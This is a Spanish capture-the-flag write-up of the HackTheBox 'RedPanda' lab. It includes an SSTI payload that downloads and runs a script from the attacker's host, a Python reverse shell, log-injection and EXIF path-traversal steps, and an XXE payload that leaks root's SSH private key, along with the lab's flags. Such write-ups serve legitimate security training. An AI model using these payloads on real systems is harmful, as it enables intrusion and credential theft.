Conocimientos
-
Enumeración Web
-
SSTI
-
Análisis de código fuente
-
XXE - Arbitrary File Read (Escalada de Privilegios)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.170 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 18:37 GMT
Nmap scan report for 10.10.11.170
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 11.45 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,8080 10.10.11.170 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 18:37 GMT
Nmap scan report for 10.10.11.170
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Red Panda Search | Made with Spring Boot
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date: Tue, 27 Jun 2023 18:46:27 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en" dir="ltr">
| <head>
| <meta charset="utf-8">
| <meta author="wooden_k">
| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
| <link rel="stylesheet" href="css/panda.css" type="text/css">
| <link rel="stylesheet" href="css/main.css" type="text/css">
| <title>Red Panda Search | Made with Spring Boot</title>
| </head>
| <body>
| <div class='pande'>
| <div class='ear left'></div>
| <div class='ear right'></div>
| <div class='whiskers left'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='whiskers right'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='face'>
| <div class='eye
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date: Tue, 27 Jun 2023 18:46:27 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Tue, 27 Jun 2023 18:46:27 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94%I=7%D=7/27%Time=64C2B976%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,690,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;charse
SF:t=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Tue,\x2027\x20Jun\x20
SF:2023\x2018:46:27\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20htm
SF:l>\n<html\x20lang=\"en\"\x20dir=\"ltr\">\n\x20\x20<head>\n\x20\x20\x20\
SF:x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20<meta\x20author=\"woode
SF:n_k\">\n\x20\x20\x20\x20<!--Codepen\x20by\x20khr2003:\x20https://codepe
SF:n\.io/khr2003/pen/BGZdXw\x20-->\n\x20\x20\x20\x20<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/panda\.css\"\x20type=\"text/css\">\n\x20\x20\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"css/main\.css\"\x20type=\"text/c
SF:ss\">\n\x20\x20\x20\x20<title>Red\x20Panda\x20Search\x20\|\x20Made\x20w
SF:ith\x20Spring\x20Boot</title>\n\x20\x20</head>\n\x20\x20<body>\n\n\x20\
SF:x20\x20\x20<div\x20class='pande'>\n\x20\x20\x20\x20\x20\x20<div\x20clas
SF:s='ear\x20left'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='ear\x20r
SF:ight'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='whiskers\x20left'>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x20\x
SF:20\x20\x20<div\x20class='whiskers\x20right'>\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</
SF:div>\n\x20\x20\x20\x20\x20\x20<div\x20class='face'>\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20<div\x20class='eye")%r(HTTPOptions,75,"HTTP/1\.1\x20200\x
SF:20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nContent-Length:\x200\r\nDate:\x20Tu
SF:e,\x2027\x20Jun\x202023\x2018:46:27\x20GMT\r\nConnection:\x20close\r\n\
SF:r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/
SF:html;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435
SF:\r\nDate:\x20Tue,\x2027\x20Jun\x202023\x2018:46:27\x20GMT\r\nConnection
SF::\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>H
SF:TTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x2
SF:0type=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1
SF:,\x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x
SF:20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px
SF:;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{heigh
SF:t:1px;background-color:#525D76;border:none;}</style></head><body><h1>HT
SF:TP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html
SF:>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.76 seconds
Puerto 8080 (HTTP)
Con whatweb
analizo las tecnologías que emplea el servidor web
whatweb http://10.10.11.170:8080
http://10.10.11.170:8080 [200 OK] Content-Language[en-US], Country[RESERVED][ZZ], HTML5, IP[10.10.11.170], Title[Red Panda Search | Made with Spring Boot]
La página principal se ve así:
El panel de búsqueda refleja el input en el output
Es vulnerable a SSTI
Pero en caso de que quiera ejecutar comandos con los payloads típicos me bloquea ciertos caracteres
Introduzco una ruta que no existe, y aparece un error descriptivo con el nombre WhiteLabel
Encuentro este artículo en el que explican un SSTI para esta ocasión
Creo un archivo index.html
que se encargue de enviarme una reverse shell
#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.10",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Lo subo al servidor
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl 10.10.16.10 -o /tmp/shell")}
Y ejecuto
*{"".getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/shell")}
Gano acceso en una sesión de netcat
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.170] 47532
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
woodenk@redpanda:/tmp/hsperfdata_woodenk$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
woodenk@redpanda:/tmp/hsperfdata_woodenk$ export TERM=xterm
woodenk@redpanda:/tmp/hsperfdata_woodenk$ export SHELL=bash
woodenk@redpanda:/tmp/hsperfdata_woodenk$ stty rows 55 columns 209
Puedo ver la primera flag
woodenk@redpanda:~$ cat user.txt
3897d0b9d558c17ad2a1bac368315716
Escalada
Pertenezco al grupo logs
woodenk@redpanda:/$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
Busco por archivos pertenecientes a este
woodenk@redpanda:/$ find \-group logs 2>/dev/null | grep -vE "/home/woodenk/|proc|tmp"
./opt/panda_search/redpanda.log
./credits
./credits/damian_creds.xml
./credits/woodenk_creds.xml
Pero no tienen nada relevante, así que paso a otra cosa. Subo el pspy
para detectar tareas que se ejecutan a intervalos regulares de tiempo
2023/06/27 20:00:01 CMD: UID=0 PID=2280 | /bin/sh /root/run_credits.sh
2023/06/27 20:00:01 CMD: UID=0 PID=2282 | sudo -u woodenk /opt/cleanup.sh
2023/06/27 20:00:01 CMD: UID=0 PID=2281 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
2023/06/27 20:00:01 CMD: UID=1000 PID=2284 | /bin/bash /opt/cleanup.sh
2023/06/27 20:00:01 CMD: UID=1000 PID=2291 |
2023/06/27 20:00:01 CMD: UID=1000 PID=2293 | /usr/bin/find /home/woodenk -name *.xml -exec rm -rf {} ;
2023/06/27 20:00:01 CMD: UID=1000 PID=2303 | /usr/bin/find /tmp -name *.jpg -exec rm -rf {} ;
2023/06/27 20:00:01 CMD: UID=1000 PID=2304 | /usr/bin/find /var/tmp -name *.jpg -exec rm -rf {} ;
2023/06/27 20:00:01 CMD: UID=1000 PID=2305 | /usr/bin/find /dev/shm -name *.jpg -exec rm -rf {} ;
2023/06/27 20:00:01 CMD: UID=1000 PID=2306 | /usr/bin/find /home/woodenk -name *.jpg -exec rm -rf {} ;
2023/06/27 20:02:01 CMD: UID=0 PID=2310 | /usr/sbin/CRON -f
2023/06/27 20:02:01 CMD: UID=0 PID=2312 | /bin/sh /root/run_credits.sh
2023/06/27 20:02:01 CMD: UID=0 PID=2311 | /bin/sh -c /root/run_credits.sh
2023/06/27 20:02:01 CMD: UID=0 PID=2313 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
2023/06/27 20:04:01 CMD: UID=0 PID=2332 | /bin/sh -c /root/run_credits.sh
2023/06/27 20:04:01 CMD: UID=0 PID=2331 | /usr/sbin/CRON -f
2023/06/27 20:04:01 CMD: UID=0 PID=2334 | /bin/sh /root/run_credits.sh
2023/06/27 20:04:01 CMD: UID=0 PID=2333 | /bin/sh /root/run_credits.sh
El directorio /opt/panda_search
tiene un archivo LOG, que en un principio está vacío
woodenk@redpanda:/opt/panda_search$ cat redpanda.log
Pero al tramitar una petición a la web se actualiza
curl -s -X GET http://10.10.11.170:8080/search
woodenk@redpanda:/opt/panda_search$ cat redpanda.log
405||10.10.16.10||curl/7.88.1||/error
404||10.10.16.10||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36||/img
404||10.10.16.10||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36||/error
Busco por el archivo que crea esta estructura
woodenk@redpanda:/opt$ grep -r "redpanda.log"
Binary file panda_search/target/classes/com/panda_search/htb/panda_search/RequestInterceptor.class matches
panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java: FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
Binary file credit-score/LogParser/final/target/classes/com/logparser/App.class matches
credit-score/LogParser/final/src/main/java/com/logparser/App.java: File log_fd = new File("/opt/panda_search/redpanda.log");
Analizo el contenido de /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
woodenk@redpanda:/opt$ cat credit-score/LogParser/final/src/main/java/com/logparser/App.java
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename){
if(filename.contains(".jpg"))
{
return true;
}
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
El contenido del metadato Artist
se está empleando para crear una ruta. Utilizo una imagen JPG
cualquiera para añadirle este y apuntar a un XML que crearé de mi lado en la ruta /tmp
exiftool rubbx.jpg -Artist=../../../../../../../../../tmp/rubbx
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - rubbx.jpg
1 image files updated
Inyecto la imagen para que se interprete
woodenk@redpanda:/opt/panda_search$ echo "304||10.10.16.10||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36||/../../../../../../../../tmp/rubbx.jpg" >> redpanda.log
Descargo el archivo export.xml
desde la web, que es donde voy a probar un XXE para exfiltrar archivos internos
Lo modifico indicando con una entidad que quiero cargar en la etiqueta <views>
la id_rsa
del usuario root
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>&xxe;</views>
</image>
<image>
<uri>/img/shy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/crafty.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/peter.jpg</uri>
<views>0</views>
</image>
<totalviews>0</totalviews>
</credits>
Le asigno el permiso 777
para que pueda ser sobrescrito
woodenk@redpanda:/opt/panda_search$ chmod 777 /tmp/rubbx_creds.xml
Obtengo la clave
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</views>
</image>
<image>
<uri>/img/shy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/crafty.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/peter.jpg</uri>
<views>0</views>
</image>
<totalviews>0</totalviews>
</credits>
La introduzco en un archivo y utilizo como archivo de identidad para ver la segunda flag
ssh root@10.10.11.170 -i id_rsa
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 28 Jun 2023 05:19:31 PM UTC
System load: 0.0
Usage of /: 80.9% of 4.30GB
Memory usage: 48%
Swap usage: 0%
Processes: 226
Users logged in: 0
IPv4 address for eth0: 10.10.11.170
IPv6 address for eth0: dead:beef::250:56ff:feb9:aa0f
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu Jun 30 13:17:41 2022
root@redpanda:~# cat /root/root.txt
481b976d12d2a03e8de55d0e673f6668